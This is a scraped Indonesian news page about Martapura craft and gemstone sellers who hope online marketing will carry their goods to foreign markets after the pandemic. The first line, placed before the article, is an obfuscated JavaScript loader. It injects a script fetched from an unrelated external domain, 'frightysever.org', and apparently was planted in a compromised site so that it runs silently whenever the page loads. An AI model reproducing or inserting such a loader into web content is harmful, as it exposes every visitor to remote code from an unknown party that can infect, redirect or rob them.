(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Bangkit dari Pandemi, Kerajinan dan Perhiasan Khas Martapura Diharapkan Tembus Pasar Dunia


KANALKALIMANTAN.COM, MARTAPURA – Menggeliatnya sektor pariwisata tentu sangat dinantikan oleh pedagang souvenir untuk bisa mengais rezeki di masa pandemi. Meski kondisi belum sepenuhnya pulih, beberapa pelaku usaha tampak tetap membuka toko di Pusat Perbelanjaan Pertokoan Cahaya Bumi Selamat (CBS) Martapura.

Kanalkalimantan.com mengunjungi deretan toko souvenir khas Kota Intan Martapura di Pusat Perbelanjaan Pertokoan CBS Martapura. Hampir semua toko menjual kain, batu permata, sampai aksesoris seperti kalung dan gelang.

Barang unik beraroma seni yang dihasilkan oleh para pelaku UMKM Banua dinilai memiliki desain khas tradisional yang sangat baik serta kualitas premium. Kerajinan ini pun telah diapresiasi oleh Menteri Pariwisata dan Ekonomi Kreatif (Menparekraf) Sandiaga Salahuddin Uno.

Seperti diketahui kemunduran ekonomi terjadi akibat adanya pandemi. Beberapa inovasi lantas dilakukan pelaku usaha agar meningkatkan kembali omzet yang sempat hilang karena pandemi.

 

Baca juga : Jokowi Cabut Ribuan Izin Usaha Pertambangan Hingga Perkebunan, Ini Rinciannya

Seorang pedagang souvenir permata dan kerajinan rotan, Winda, mengaku sudah melakukan digitalisasi dengan memanfaatkan teknologi seperti melakukan penjualan dan pemasaran produk secara daring.

“Karena sebelum pandemi biasanya wisatawan banyak yang datang ke sini membeli oleh-oleh seperti gantungan kunci, tas dari manik atau aksesoris permata. Jadi sekarang kita coba untuk memasarkan kerajinan secara online ke luar wilayah,” ucap Winda.

Namun demikian, pengadaan barang dan jasa oleh pelaku Usaha Mikro, Kecil, dan Menengah (UMKM) tentu menghadapi tantangan. Winda mengungkapkan tantangan dapat dilihat dari segi nilai kuantitas dan kualitas yang harus ditingkatkan agar lebih berdaya saing.

Winda berharap nilai ini akan terus tumbuh seterusnya dan dapat memberikan manfaat bagi pelaku UMKM yang sangat bergantung pada sektor pariwisata serta berdampak bagi perekonomian nasional.

 

Baca juga : Begini Kronologis Tragedi Maut yang Tewaskan Pebengkel di Buntok

“Selama pandemi ini kami juga berharap pemasaran dapat menembus pasar asing. Masyarakat lokal maupun manca negara harus lebih mengetahui dan mengenal kerajinan khas Martapura ini,” lanjut Winda.

Dia juga menegaskan dukungan pemerintah melalui belanja produk UMKM harus terus ditingkatkan agar pelaku UMKM mendapat pasar tetap yang dapat dijadikan basis pendapatan untuk berkembang lebih luas. (Kanalkalimantan.com/Wanda)

Reporter : wanda
Editor : cell


Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.